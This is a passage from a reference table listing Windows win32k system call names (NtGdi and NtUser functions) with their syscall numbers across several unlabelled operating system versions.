NtGdiFONTOBJ\_pvTrueTypeFontFile |  0x11b2  |  0x11b2  |  0x11f7  |  0x11ff  |  0x11ff   
NtGdiFONTOBJ\_pxoGetXform |  0x11b3  |  0x11b3  |  0x11f8  |  0x1200  |  0x1200   
NtGdiFONTOBJ\_vGetInfo |  0x11b4  |  0x11b4  |  0x11f9  |  0x1201  |  0x1201   
NtGdiFillPath |  0x1111  |  0x1111  |  0x1112  |  0x110b  |  0x110b   
NtGdiFillRgn |  0x10d8  |  0x10d8  |  0x10d9  |  0x10d4  |  0x10d4   
NtGdiFlattenPath |  0x11b5  |  0x11b5  |  0x11fa  |  0x1202  |  0x1202   
NtGdiFlush |  0x1011  |  0x1011  |  0x1012  |  0x1012  |  0x1012   
NtGdiFontIsLinked |  0x11b6  |  0x11b6  |  0x11fb  |  0x1203  |  0x1203   
NtGdiForceUFIMapping |  0x11b7  |  0x11b7  |  0x11fc  |  0x1204  |  0x1204   
NtGdiFrameRgn |  0x11b8  |  0x11b8  |  0x11fd  |  0x1205  |  0x1205   
NtGdiFullscreenControl |  0x11b9  |  0x11b9  |  0x11fe  |  0x1206  |  0x1206   
NtGdiGetAndSetDCDword |  0x1067  |  0x1067  |  0x1068  |  0x1068  |  0x1068   
NtGdiGetAppClipBox |  0x1042  |  0x1042  |  0x1043  |  0x1043  |  0x1043   
NtGdiGetBitmapBits |  0x10e2  |  0x10e2  |  0x10e3  |  0x10de  |  0x10de   
NtGdiGetBitmapDimension |  0x1101  |  0x1101  |  0x1102  |  0x10fc  |  0x10fc   
NtGdiGetBoundsRect |  0x11ba  |  0x11ba  |  0x11ff  |  0x1207  |  0x1207   
NtGdiGetCOPPCompatibleOPMInformation |     |     |  0x1200  |  0x1208  |  0x1208   
NtGdiGetCertificate |     |     |  0x1201  |  0x1209  |  0x1209   
NtGdiGetCertificateSize |     |     |  0x1202  |  0x120a  |  0x120a   
NtGdiGetCharABCWidthsW |  0x11bb  |  0x11bb  |  0x1203  |  0x120b  |  0x120b   
NtGdiGetCharSet |  0x1009  |  0x1009  |  0x1009  |  0x1009  |  0x1009   
NtGdiGetCharWidthInfo |  0x10d0  |  0x10d0  |  0x10d1  |  0x10cc  |  0x10cc   
NtGdiGetCharWidthW |  0x10cb  |  0x10cb  |  0x10cc  |  0x10c7  |  0x10c7   
NtGdiGetCharacterPlacementW |  0x11bc  |  0x11bc  |  0x1204  |  0x120c  |  0x120c   
NtGdiGetColorAdjustment |  0x11bd  |  0x11bd  |  0x1205  |  0x120d  |  0x120d   
NtGdiGetColorSpaceforBitmap |  0x11be  |  0x11be  |  0x1206  |  0x120e  |  0x120e   
NtGdiGetDCDword |  0x103e  |  0x103e  |  0x103f  |  0x103f  |  0x103f   
NtGdiGetDCObject |  0x1034  |  0x1034  |  0x1035  |  0x1035  |  0x1035   
NtGdiGetDCPoint |  0x1073  |  0x1073  |  0x1074  |  0x1073  |  0x1073   
NtGdiGetDCforBitmap |  0x109c  |  0x109c  |  0x109d  |  0x109b  |  0x109b   
NtGdiGetDIBitsInternal |  0x1086  |  0x1086  |  0x1087  |  0x1085  |  0x1085   
NtGdiGetDeviceCaps |  0x11bf  |  0x11bf  |  0x1207  |  0x120f  |  0x120f   
NtGdiGetDeviceCapsAll |  0x11c0  |  0x11c0  |  0x1208  |  0x1210  |  0x1210   
NtGdiGetDeviceGammaRamp |  0x11c1  |  0x11c1  |  0x1209  |  0x1211  |  0x1211   
NtGdiGetDeviceWidth |  0x11c2  |  0x11c2  |  0x120a  |  0x1212  |  0x1212   
NtGdiGetDhpdev |  0x11c3  |  0x11c3  |  0x120b  |  0x1213  |  0x1213   
NtGdiGetETM |  0x11c4  |  0x11c4  |  0x120c  |  0x1214  |  0x1214   
NtGdiGetEmbUFI |  0x11c5  |  0x11c5  |  0x120d  |  0x1215  |  0x1215   
NtGdiGetEmbedFonts |  0x11c6  |  0x11c6  |  0x120e  |  0x1216  |  0x1216   
NtGdiGetEudcTimeStampEx |  0x11c7  |  0x11c7  |  0x120f  |  0x1217  |  0x1217   
NtGdiGetFontData |  0x10db  |  0x10db  |  0x10dc  |  0x10d7  |  0x10d7   
NtGdiGetFontFileData |     |     |     |  0x1218  |  0x1218   
NtGdiGetFontFileInfo |     |     |     |  0x1219  |  0x1219   
NtGdiGetFontResourceInfoInternalW |  0x11c8  |  0x11c8  |  0x1210  |  0x121a  |  0x121a   
NtGdiGetFontUnicodeRanges |  0x11c9  |  0x11c9  |  0x1211  |  0x121b  |  0x121b   
NtGdiGetGlyphIndicesW |  0x11ca  |  0x11ca  |  0x1212  |  0x121c  |  0x121c   
NtGdiGetGlyphIndicesWInternal |  0x11cb  |  0x11cb  |  0x1213  |  0x121d  |  0x121d   
NtGdiGetGlyphOutline |  0x11cc  |  0x11cc  |  0x1214  |  0x121e  |  0x121e   
NtGdiGetKerningPairs |  0x11cd  |  0x11cd  |  0x1215  |  0x121f  |  0x121f   
NtGdiGetLinkedUFIs |  0x11ce  |  0x11ce  |  0x1216  |  0x1220  |  0x1220   
NtGdiGetMiterLimit |  0x11cf  |  0x11cf  |  0x1217  |  0x1221  |  0x1221   
NtGdiGetMonitorID |  0x11d0  |  0x11d0  |  0x1218  |  0x1222  |  0x1222   
NtGdiGetNearestColor |  0x1071  |  0x1071  |  0x1072  |  0x1071  |  0x1071   
NtGdiGetNearestPaletteIndex |  0x10c8  |  0x10c8  |  0x10c9  |  0x10c4  |  0x10c4   
NtGdiGetNumberOfPhysicalMonitors |     |     |  0x1219  |  0x1223  |  0x1223   
NtGdiGetOPMInformation |     |     |  0x121a  |  0x1224  |  0x1224   
NtGdiGetOPMRandomNumber |     |     |  0x121b  |  0x1225  |  0x1225   
NtGdiGetObjectBitmapHandle |  0x11d1  |  0x11d1  |  0x121c  |  0x1226  |  0x1226   
NtGdiGetOutlineTextMetricsInternalW |  0x10b7  |  0x10b7  |  0x10b8  |  0x10b3  |  0x10b3   
NtGdiGetPath |  0x11d2  |  0x11d2  |  0x121d  |  0x1227  |  0x1227   
NtGdiGetPerBandInfo |  0x11d3  |  0x11d3  |  0x121e  |  0x1228  |  0x1228   
NtGdiGetPhysicalMonitorDescription |     |     |  0x121f  |  0x1229  |  0x1229   
NtGdiGetPhysicalMonitors |     |     |  0x1220  |  0x122a  |  0x122a   
NtGdiGetPixel |  0x10c3  |  0x10c3  |  0x10c4  |  0x10bf  |  0x10bf   
NtGdiGetRandomRgn |  0x102a  |  0x102a  |  0x102b  |  0x102b  |  0x102b   
NtGdiGetRasterizerCaps |  0x10eb  |  0x10eb  |  0x10ec  |  0x10e7  |  0x10e7   
NtGdiGetRealizationInfo |  0x11d4  |  0x11d4  |  0x1221  |  0x122b  |  0x122b   
NtGdiGetRegionData |  0x103f  |  0x103f  |  0x1040  |  0x1040  |  0x1040   
NtGdiGetRgnBox |  0x1066  |  0x1066  |  0x1067  |  0x1067  |  0x1067   
NtGdiGetServerMetaFileBits |  0x11d5  |  0x11d5  |  0x1222  |  0x122c  |  0x122c   
NtGdiGetSpoolMessage |  0x11d6  |  0x11d6  |  0x1223  |     |      
NtGdiGetStats |  0x11d7  |  0x11d7  |  0x1224  |  0x122e  |  0x122e   
NtGdiGetStockObject |  0x10d4  |  0x10d4  |  0x10d5  |  0x10d0  |  0x10d0   
NtGdiGetStringBitmapW |  0x11d8  |  0x11d8  |  0x1225  |  0x122f  |  0x122f   
NtGdiGetSuggestedOPMProtectedOutputArraySize |     |     |  0x1226  |  0x1230  |  0x1230   
NtGdiGetSystemPaletteUse |  0x1118  |  0x1118  |  0x1119  |  0x1112  |  0x1112   
NtGdiGetTextCharsetInfo |  0x104c  |  0x104c  |  0x104d  |  0x104d  |  0x104d   
NtGdiGetTextExtent |  0x1095  |  0x1095  |  0x1096  |  0x1094  |  0x1094   
NtGdiGetTextExtentExW |  0x11d9  |  0x11d9  |  0x1227  |  0x1231  |  0x1231   
NtGdiGetTextFaceW |  0x1081  |  0x1081  |  0x1082  |  0x1080  |  0x1080   
NtGdiGetTextMetricsW |  0x1076  |  0x1076  |  0x1077  |  0x1075  |  0x1075   
NtGdiGetTransform |  0x10e0  |  0x10e0  |  0x10e1  |  0x10dc  |  0x10dc   
NtGdiGetUFI |  0x11da  |  0x11da  |  0x1228  |  0x1232  |  0x1232   
NtGdiGetUFIPathname |  0x11db  |  0x11db  |  0x1229  |  0x1233  |  0x1233   
NtGdiGetWidthTable |  0x1069  |  0x1069  |  0x106a  |  0x106a  |  0x106a   
NtGdiGradientFill |  0x11dc  |  0x11dc  |  0x122a  |  0x1234  |  0x1234   
NtGdiHLSurfGetInformation |     |     |     |  0x1235  |  0x1235   
NtGdiHLSurfSetInformation |     |     |     |  0x1236  |  0x1236   
NtGdiHT\_Get8BPPFormatPalette |  0x11dd  |  0x11dd  |  0x122b  |  0x1237  |  0x1237   
NtGdiHT\_Get8BPPMaskPalette |  0x11de  |  0x11de  |  0x122c  |  0x1238  |  0x1238   
NtGdiHfontCreate |  0x105c  |  0x105c  |  0x105d  |  0x105d  |  0x105d   
NtGdiIcmBrushInfo |  0x11df  |  0x11df  |  0x122d  |  0x1239  |  0x1239   
NtGdiInitSpool |  0x11e1  |  0x11e1  |  0x122f  |  0x123b  |  0x123b   
NtGdiIntersectClipRect |  0x101f  |  0x101f  |  0x1020  |  0x1020  |  0x1020   
NtGdiInvertRgn |  0x1065  |  0x1065  |  0x1066  |  0x1066  |  0x1066   
NtGdiLineTo |  0x1040  |  0x1040  |  0x1041  |  0x1041  |  0x1041   
NtGdiMakeFontDir |  0x11e2  |  0x11e2  |  0x1230  |  0x123c  |  0x123c   
NtGdiMakeInfoDC |  0x11e3  |  0x11e3  |  0x1231  |  0x123d  |  0x123d   
NtGdiMakeObjectUnXferable |  0x11e4  |  0x11e4  |  0x1232  |  0x123e  |  0x123e   
NtGdiMakeObjectXferable |  0x11e5  |  0x11e5  |  0x1233  |  0x123f  |  0x123f   
NtGdiMaskBlt |  0x1068  |  0x1068  |  0x1069  |  0x1069  |  0x1069   
NtGdiMirrorWindowOrg |  0x11e6  |  0x11e6  |  0x1234  |  0x1240  |  0x1240   
NtGdiModifyWorldTransform |  0x10da  |  0x10da  |  0x10db  |  0x10d6  |  0x10d6   
NtGdiMonoBitmap |  0x11e7  |  0x11e7  |  0x1235  |  0x1241  |  0x1241   
NtGdiMoveTo |  0x11e8  |  0x11e8  |  0x1236  |  0x1242  |  0x1242   
NtGdiOffsetClipRgn |  0x11e9  |  0x11e9  |  0x1237  |  0x1243  |  0x1243   
NtGdiOffsetRgn |  0x107f  |  0x107f  |  0x1080  |  0x107e  |  0x107e   
NtGdiOpenDCW |  0x10de  |  0x10de  |  0x10df  |  0x10da  |  0x10da   
NtGdiPATHOBJ\_bEnum |  0x11ea  |  0x11ea  |  0x1238  |  0x1244  |  0x1244   
NtGdiPATHOBJ\_bEnumClipLines |  0x11eb  |  0x11eb  |  0x1239  |  0x1245  |  0x1245   
NtGdiPATHOBJ\_vEnumStart |  0x11ec  |  0x11ec  |  0x123a  |  0x1246  |  0x1246   
NtGdiPATHOBJ\_vEnumStartClipLines |  0x11ed  |  0x11ed  |  0x123b  |  0x1247  |  0x1247   
NtGdiPATHOBJ\_vGetBounds |  0x11ee  |  0x11ee  |  0x123c  |  0x1248  |  0x1248   
NtGdiPatBlt |  0x1059  |  0x1059  |  0x105a  |  0x105a  |  0x105a   
NtGdiPathToRegion |  0x11ef  |  0x11ef  |  0x123d  |  0x1249  |  0x1249   
NtGdiPlgBlt |  0x11f0  |  0x11f0  |  0x123e  |  0x124a  |  0x124a   
NtGdiPolyDraw |  0x11f1  |  0x11f1  |  0x123f  |  0x124b  |  0x124b   
NtGdiPolyPatBlt |  0x106f  |  0x106f  |  0x1070  |  0x106f  |  0x106f   
NtGdiPolyPolyDraw |  0x1047  |  0x1047  |  0x1048  |  0x1048  |  0x1048   
NtGdiPolyTextOutW |  0x11f2  |  0x11f2  |  0x1240  |  0x124c  |  0x124c   
NtGdiPtInRegion |  0x11f3  |  0x11f3  |  0x1241  |  0x124d  |  0x124d   
NtGdiPtVisible |  0x11f4  |  0x11f4  |  0x1242  |  0x124e  |  0x124e   
NtGdiQueryFontAssocInfo |  0x10f9  |  0x10f9  |  0x10fa  |  0x10f5  |  0x10f5   
NtGdiQueryFonts |  0x11f5  |  0x11f5  |  0x1243  |  0x124f  |  0x124f   
NtGdiRectInRegion |  0x10c1  |  0x10c1  |  0x10c2  |  0x10bd  |  0x10bd   
NtGdiRectVisible |  0x1032  |  0x1032  |  0x1033  |  0x1033  |  0x1033   
NtGdiRectangle |  0x1091  |  0x1091  |  0x1092  |  0x1090  |  0x1090   
NtGdiRemoveFontMemResourceEx |  0x1119  |  0x1119  |  0x111a  |  0x1113  |  0x1113   
NtGdiRemoveFontResourceW |  0x11f6  |  0x11f6  |  0x1244  |  0x1250  |  0x1250   
NtGdiRemoveMergeFont |  0x11f7  |  0x11f7  |  0x1245  |  0x1251  |  0x1251   
NtGdiResetDC |  0x11f8  |  0x11f8  |  0x1246  |  0x1252  |  0x1252   
NtGdiResizePalette |  0x11f9  |  0x11f9  |  0x1247  |  0x1253  |  0x1253   
NtGdiRestoreDC |  0x1039  |  0x1039  |  0x103a  |  0x103a  |  0x103a   
NtGdiRoundRect |  0x11fa  |  0x11fa  |  0x1248  |  0x1254  |  0x1254   
NtGdiSTROBJ\_bEnum |  0x11fb  |  0x11fb  |  0x1249  |  0x1255  |  0x1255   
NtGdiSTROBJ\_bEnumPositionsOnly |  0x11fc  |  0x11fc  |  0x124a  |  0x1256  |  0x1256   
NtGdiSTROBJ\_bGetAdvanceWidths |  0x11fd  |  0x11fd  |  0x124b  |  0x1257  |  0x1257   
NtGdiSTROBJ\_dwGetCodePage |  0x11fe  |  0x11fe  |  0x124c  |  0x1258  |  0x1258   
NtGdiSTROBJ\_vEnumStart |  0x11ff  |  0x11ff  |  0x124d  |  0x1259  |  0x1259   
NtGdiSaveDC |  0x103a  |  0x103a  |  0x103b  |  0x103b  |  0x103b   
NtGdiScaleViewportExtEx |  0x1200  |  0x1200  |  0x124e  |  0x125a  |  0x125a   
NtGdiScaleWindowExtEx |  0x1201  |  0x1201  |  0x124f  |  0x125b  |  0x125b   
NtGdiSelectBitmap |  0x100b  |  0x100b  |  0x100b  |  0x100b  |  0x100b   
NtGdiSelectBrush |  0x1202  |  0x1202  |  0x1250  |  0x125c  |  0x125c   
NtGdiSelectClipPath |  0x1203  |  0x1203  |  0x1251  |  0x125d  |  0x125d   
NtGdiSelectFont |  0x1038  |  0x1038  |  0x1039  |  0x1039  |  0x1039   
NtGdiSelectPen |  0x1204  |  0x1204  |  0x1252  |  0x125e  |  0x125e   
NtGdiSetBitmapAttributes |  0x1205  |  0x1205  |  0x1253  |  0x125f  |  0x125f   
NtGdiSetBitmapBits |  0x10b8  |  0x10b8  |  0x10b9  |  0x10b4  |  0x10b4   
NtGdiSetBitmapDimension |  0x111d  |  0x111d  |  0x111e  |  0x1117  |  0x1117   
NtGdiSetBoundsRect |  0x10ff  |  0x10ff  |  0x1100  |  0x10fb  |  0x10fb   
NtGdiSetBrushAttributes |  0x1206  |  0x1206  |  0x1254  |  0x1260  |  0x1260   
NtGdiSetBrushOrg |  0x10b1  |  0x10b1  |  0x10b2  |  0x10ad  |  0x10ad   
NtGdiSetColorAdjustment |  0x1207  |  0x1207  |  0x1255  |  0x1261  |  0x1261   
NtGdiSetColorSpace |  0x1208  |  0x1208  |  0x1256  |  0x1262  |  0x1262   
NtGdiSetDIBitsToDeviceInternal |  0x1028  |  0x1028  |  0x1029  |  0x1029  |  0x1029   
NtGdiSetDeviceGammaRamp |  0x1209  |  0x1209  |  0x1257  |  0x1263  |  0x1263   
NtGdiSetFontEnumeration |     |     |  0x111f  |  0x1118  |  0x1118   
NtGdiSetFontXform |  0x120a  |  0x120a  |  0x1258  |  0x1264  |  0x1264   
NtGdiSetIcmMode |  0x120b  |  0x120b  |  0x1259  |  0x1265  |  0x1265   
NtGdiSetLayout |  0x1097  |  0x1097  |  0x1098  |  0x1096  |  0x1096   
NtGdiSetLinkedUFIs |  0x120c  |  0x120c  |  0x125a  |  0x1266  |  0x1266   
NtGdiSetMagicColors |  0x120d  |  0x120d  |  0x125b  |  0x1267  |  0x1267   
NtGdiSetMetaRgn |  0x10e8  |  0x10e8  |  0x10e9  |  0x10e4  |  0x10e4   
NtGdiSetMiterLimit |  0x10e9  |  0x10e9  |  0x10ea  |  0x10e5  |  0x10e5   
NtGdiSetOPMSigningKeyAndSequenceNumbers |     |     |  0x125c  |  0x1268  |  0x1268   
NtGdiSetPUMPDOBJ |  0x120e  |  0x120e  |  0x125d  |  0x1269  |  0x1269   
NtGdiSetPixel |  0x10b3  |  0x10b3  |  0x10b4  |  0x10af  |  0x10af   
NtGdiSetPixelFormat |  0x120f  |  0x120f  |  0x125e  |  0x126a  |  0x126a   
NtGdiSetRectRgn |  0x1210  |  0x1210  |  0x125f  |  0x126b  |  0x126b   
NtGdiSetSizeDevice |  0x1211  |  0x1211  |  0x1260  |  0x126c  |  0x126c   
NtGdiSetSystemPaletteUse |  0x1212  |  0x1212  |  0x1261  |  0x126d  |  0x126d   
NtGdiSetTextJustification |  0x1213  |  0x1213  |  0x1262  |  0x126e  |  0x126e   
NtGdiSetVirtualResolution |  0x10ea  |  0x10ea  |  0x10eb  |  0x10e6  |  0x10e6   
NtGdiSetupPublicCFONT |  0x110b  |  0x110b  |  0x110c  |     |      
NtGdiSfmGetNotificationTokens |     |     |     |  0x126f  |  0x126f   
NtGdiStartDoc |  0x1214  |  0x1214  |  0x1263  |  0x1270  |  0x1270   
NtGdiStartPage |  0x1215  |  0x1215  |  0x1264  |  0x1271  |  0x1271   
NtGdiStretchBlt |  0x1030  |  0x1030  |  0x1031  |  0x1031  |  0x1031   
NtGdiStretchDIBitsInternal |  0x1082  |  0x1082  |  0x1083  |  0x1081  |  0x1081   
NtGdiStrokeAndFillPath |  0x1216  |  0x1216  |  0x1265  |  0x1272  |  0x1272   
NtGdiStrokePath |  0x1217  |  0x1217  |  0x1266  |  0x1273  |  0x1273   
NtGdiSwapBuffers |  0x1218  |  0x1218  |  0x1267  |  0x1274  |  0x1274   
NtGdiTransformPoints |  0x1072  |  0x1072  |  0x1073  |  0x1072  |  0x1072   
NtGdiTransparentBlt |  0x1219  |  0x1219  |  0x1268  |  0x1275  |  0x1275   
NtGdiUMPDEngFreeUserMem |  0x121a  |  0x121a  |  0x1269  |  0x1276  |  0x1276   
NtGdiUnloadPrinterDriver |  0x121b  |  0x121b  |     |     |      
NtGdiUnrealizeObject |  0x108f  |  0x108f  |  0x1090  |  0x108e  |  0x108e   
NtGdiUpdateColors |  0x121d  |  0x121d  |  0x126c  |  0x1279  |  0x1279   
NtGdiUpdateTransform |  0x121e  |  0x121e  |  0x126d  |  0x127a  |  0x127a   
NtGdiWidenPath |  0x121f  |  0x121f  |  0x126e  |  0x127b  |  0x127b   
NtGdiXFORMOBJ\_bApplyXform |  0x1220  |  0x1220  |  0x126f  |  0x127c  |  0x127c   
NtGdiXFORMOBJ\_iGetXform |  0x1221  |  0x1221  |  0x1270  |  0x127d  |  0x127d   
NtGdiXLATEOBJ\_cGetPalette |  0x1222  |  0x1222  |  0x1271  |  0x127e  |  0x127e   
NtGdiXLATEOBJ\_hGetColorTransform |  0x1223  |  0x1223  |  0x1272  |  0x127f  |  0x127f   
NtGdiXLATEOBJ\_iXlate |  0x1224  |  0x1224  |  0x1273  |  0x1280  |  0x1280   
NtUserActivateKeyboardLayout |  0x1126  |  0x1126  |  0x1127  |  0x111e  |  0x111e   
NtUserAddClipboardFormatListener |     |     |  0x1274  |  0x1281  |  0x1281   
NtUserAlterWindowStyle |  0x10d7  |  0x10d7  |  0x10d8  |  0x10d3  |  0x10d3   
NtUserAssociateInputContext |  0x1225  |  0x1225  |  0x1275  |  0x1282  |  0x1282   
NtUserAttachThreadInput |  0x10f0  |  0x10f0  |  0x10f1  |  0x10ec  |  0x10ec   
NtUserBeginPaint |  0x1016  |  0x1016  |  0x1017  |  0x1017  |  0x1017   
NtUserBitBltSysBmp |  0x10cf  |  0x10cf  |  0x10d0  |  0x10cb  |  0x10cb   
NtUserBlockInput |  0x1226  |  0x1226  |  0x1276  |  0x1283  |  0x1283   
NtUserBuildHimcList |  0x1227  |  0x1227  |  0x1277  |  0x1284  |  0x1284   
NtUserBuildHwndList |  0x101b  |  0x101b  |  0x101c  |  0x101c  |  0x101c   
NtUserBuildNameList |  0x10b2  |  0x10b2  |  0x10b3  |  0x10ae  |  0x10ae   
NtUserBuildPropList |  0x1228  |  0x1228  |  0x1278  |  0x1285  |  0x1285   
NtUserCalcMenuBar |  0x1098  |  0x1098  |  0x1099  |  0x1097  |  0x1097   
NtUserCalculatePopupWindowPosition |     |     |     |  0x1286  |  0x1286   
NtUserCallHwnd |  0x1112  |  0x1112  |  0x1113  |  0x110c  |  0x110c   
NtUserCallHwndLock |  0x1020  |  0x1020  |  0x1021  |  0x1021  |  0x1021   
NtUserCallHwndOpt |  0x1229  |  0x1229  |  0x1279  |  0x1287  |  0x1287   
NtUserCallHwndParam |  0x109f  |  0x109f  |  0x10a0  |  0x109e  |  0x109e   
NtUserCallHwndParamLock |  0x1026  |  0x1026  |  0x1027  |  0x1027  |  0x1027   
NtUserCallMsgFilter |  0x1014  |  0x1014  |  0x1015  |  0x1015  |  0x1015   
NtUserCallNextHookEx |  0x101d  |  0x101d  |  0x101e  |  0x101e  |  0x101e   
NtUserCallNoParam |  0x1005  |  0x1005  |  0x1005  |  0x1005  |  0x1005   
NtUserCallOneParam |  0x1002  |  0x1002  |  0x1002  |  0x1002  |  0x1002   
NtUserCallTwoParam |  0x1029  |  0x1029  |  0x102a  |  0x102a  |  0x102a   
NtUserChangeClipboardChain |  0x111f  |  0x111f  |  0x1120  |  0x1119  |  0x1119   
NtUserChangeDisplaySettings |  0x122a  |  0x122a  |  0x127a  |  0x1288  |  0x1288   
NtUserChangeWindowMessageFilterEx |     |     |     |  0x1289  |  0x1289   
NtUserCheckAccessForIntegrityLevel |     |     |  0x127b  |  0x128a  |  0x128a   
NtUserCheckDesktopByThreadId |     |     |  0x127c  |  0x128b  |  0x128b   
NtUserCheckImeHotKey |  0x1074  |  0x1074  |  0x1075  |     |      
NtUserCheckMenuItem |  0x1108  |  0x1108  |  0x1109  |  0x1103  |  0x1103   
NtUserCheckWindowThreadDesktop |     |     |  0x127d  |  0x128c  |  0x128c   
NtUserChildWindowFromPointEx |  0x122b  |  0x122b  |  0x127e  |  0x128d  |  0x128d   
NtUserClipCursor |  0x122c  |  0x122c  |  0x127f  |  0x128e  |  0x128e   
NtUserCloseClipboard |  0x10d2  |  0x10d2  |  0x10d3  |  0x10ce  |  0x10ce   
NtUserCloseDesktop |  0x10aa  |  0x10aa  |  0x10ab  |  0x10a6  |  0x10a6   
NtUserCloseWindowStation |  0x10b9  |  0x10b9  |  0x10ba  |  0x10b5  |  0x10b5   
NtUserConsoleControl |  0x10e3  |  0x10e3  |  0x10e4  |  0x10df  |  0x10df   
NtUserConvertMemHandle |  0x1102  |  0x1102  |  0x1103  |  0x10fd  |  0x10fd   
NtUserCopyAcceleratorTable |  0x102b  |  0x102b  |  0x102c  |  0x102c  |  0x102c   
NtUserCountClipboardFormats |  0x1115  |  0x1115  |  0x1116  |  0x110f  |  0x110f   
NtUserCreateAcceleratorTable |  0x10f5  |  0x10f5  |  0x10f6  |  0x10f1  |  0x10f1   
NtUserCreateCaret |  0x1031  |  0x1031  |  0x1032  |  0x1032  |  0x1032   
NtUserCreateDesktop |  0x122d  |  0x122d  |     |     |      
NtUserCreateDesktopEx |     |     |  0x1280  |  0x128f  |  0x128f   
NtUserCreateInputContext |  0x122e  |  0x122e  |  0x1281  |  0x1290  |  0x1290   
NtUserCreateLocalMemHandle |  0x10ef  |  0x10ef  |  0x10f0  |  0x10eb  |  0x10eb   
NtUserCreateWindowEx |  0x1077  |  0x1077  |  0x1078  |  0x1076  |  0x1076   
NtUserCreateWindowStation |  0x122f  |  0x122f  |  0x1282  |  0x1291  |  0x1291   
NtUserCtxDisplayIOCtl |  0x1230  |  0x1230  |  0x1283  |  0x1292  |  0x1292   
NtUserDdeGetQualityOfService |  0x1231  |  0x1231  |     |     |      
NtUserDdeInitialize |  0x1113  |  0x1113  |  0x1114  |  0x110d  |  0x110d   
NtUserDdeSetQualityOfService |  0x1232  |  0x1232  |     |     |      
NtUserDefSetText |  0x1080  |  0x1080  |  0x1081  |  0x107f  |  0x107f   
NtUserDeferWindowPos |  0x1052  |  0x1052  |  0x1053  |  0x1053  |  0x1053   
NtUserDeleteMenu |  0x10c0  |  0x10c0  |  0x10c1  |  0x10bc  |  0x10bc   
NtUserDestroyAcceleratorTable |  0x1103  |  0x1103  |  0x1104  |  0x10fe  |  0x10fe   
NtUserDestroyCursor |  0x109d  |  0x109d  |  0x109e  |  0x109c  |  0x109c   
NtUserDestroyInputContext |  0x1233  |  0x1233  |  0x1284  |  0x1293  |  0x1293   
NtUserDestroyMenu |  0x10e1  |  0x10e1  |  0x10e2  |  0x10dd  |  0x10dd   
NtUserDestroyWindow |  0x109e  |  0x109e  |  0x109f  |  0x109d  |  0x109d   
NtUserDisableThreadIme |  0x1234  |  0x1234  |  0x1285  |  0x1294  |  0x1294   
NtUserDispatchMessage |  0x1035  |  0x1035  |  0x1036  |  0x1036  |  0x1036   
NtUserDisplayConfigGetDeviceInfo |     |     |     |  0x1295  |  0x1295   
NtUserDisplayConfigSetDeviceInfo |     |     |     |  0x1296  |  0x1296   
NtUserDoSoundConnect |     |     |  0x1286  |  0x1297  |  0x1297   
NtUserDoSoundDisconnect |     |     |  0x1287  |  0x1298  |  0x1298   
NtUserDragDetect |  0x1235  |  0x1235  |  0x1288  |  0x1299  |  0x1299   
NtUserDragObject |  0x1236  |  0x1236  |  0x1289  |  0x129a  |  0x129a   
NtUserDrawAnimatedRects |  0x1237  |  0x1237  |  0x128a  |  0x129b  |  0x129b   
NtUserDrawCaption |  0x1238  |  0x1238  |  0x128b  |  0x129c  |  0x129c   
NtUserDrawCaptionTemp |  0x1239  |  0x1239  |  0x128c  |  0x129d  |  0x129d   
NtUserDrawIconEx |  0x105f  |  0x105f  |  0x1060  |  0x1060  |  0x1060   
NtUserDrawMenuBarTemp |  0x123a  |  0x123a  |  0x128d  |  0x129e  |  0x129e   
NtUserDwmGetDxRgn |     |     |  0x128e  |     |      
NtUserDwmHintDxUpdate |     |     |  0x128f  |     |      
NtUserDwmStartRedirection |     |     |  0x1290  |  0x129f  |  0x129f   
NtUserDwmStopRedirection |     |     |  0x1291  |  0x12a0  |  0x12a0   
NtUserEmptyClipboard |  0x10fc  |  0x10fc  |  0x10fd  |  0x10f8  |  0x10f8   
NtUserEnableMenuItem |  0x10d6  |  0x10d6  |  0x10d7  |  0x10d2  |  0x10d2   
NtUserEnableScrollBar |  0x10bb  |  0x10bb  |  0x10bc  |  0x10b7  |  0x10b7   
NtUserEndDeferWindowPosEx |  0x1025  |  0x1025  |  0x1026  |  0x1026  |  0x1026   
NtUserEndMenu |  0x123b  |  0x123b  |  0x1292  |  0x12a1  |  0x12a1   
NtUserEndPaint |  0x1018  |  0x1018  |  0x1019  |  0x1019  |  0x1019   
NtUserEndTouchOperation |     |     |     |  0x12a2  |  0x12a2   
NtUserEnumDisplayDevices |  0x10fb  |  0x10fb  |  0x10fc  |  0x10f7  |  0x10f7   
NtUserEnumDisplayMonitors |  0x1049  |  0x1049  |  0x104a  |  0x104a  |  0x104a   
NtUserEnumDisplaySettings |  0x111a  |  0x111a  |  0x111b  |  0x1114  |  0x1114   
NtUserEvent |  0x123c  |  0x123c  |  0x1293  |  0x12a3  |  0x12a3   
NtUserExcludeUpdateRgn |  0x104f  |  0x104f  |  0x1050  |  0x1050  |  0x1050   
NtUserFillWindow |  0x108a  |  0x108a  |  0x108b  |  0x1089  |  0x1089   
NtUserFindExistingCursorIcon |  0x103d  |  0x103d  |  0x103e  |  0x103e  |  0x103e   
NtUserFindWindowEx |  0x106e  |  0x106e  |  0x106f  |  0x106e  |  0x106e   
NtUserFlashWindowEx |  0x123d  |  0x123d  |  0x1294  |  0x12a4  |  0x12a4   
NtUserFrostCrashedWindow |     |     |  0x1295  |  0x12a5  |  0x12a5   
NtUserGetAltTabInfo |  0x10f7  |  0x10f7  |  0x10f8  |  0x10f3  |  0x10f3   
NtUserGetAncestor |  0x10b6  |  0x10b6  |  0x10b7  |  0x10b2  |  0x10b2   
NtUserGetAppImeLevel |  0x123e  |  0x123e  |  0x1296  |  0x12a6  |  0x12a6   
NtUserGetAsyncKeyState |  0x1043  |  0x1043  |  0x1044  |  0x1044  |  0x1044   
NtUserGetAtomName |  0x10ad  |  0x10ad  |  0x10ae  |  0x10a9  |  0x10a9   
NtUserGetCPD |  0x1044  |  0x1044  |  0x1045  |  0x1045  |  0x1045   
NtUserGetCaretBlinkTime |  0x10f8  |  0x10f8  |  0x10f9  |  0x10f4  |  0x10f4   
NtUserGetCaretPos |  0x123f  |  0x123f  |  0x1297  |  0x12a7  |  0x12a7   
NtUserGetClassInfoEx |  0x10bd  |  0x10bd  |  0x10be  |  0x10b9  |  0x10b9   
NtUserGetClassName |  0x107c  |  0x107c  |  0x107d  |  0x107b  |  0x107b   
NtUserGetClipCursor |  0x1240  |  0x1240  |  0x1298  |  0x12a8  |  0x12a8   
NtUserGetClipboardData |  0x10fd  |  0x10fd  |  0x10fe  |  0x10f9  |  0x10f9   
NtUserGetClipboardFormatName |  0x10ed  |  0x10ed  |  0x10ee  |  0x10e9  |  0x10e9   
NtUserGetClipboardOwner |  0x10cd  |  0x10cd  |  0x10ce  |  0x10c9  |  0x10c9   
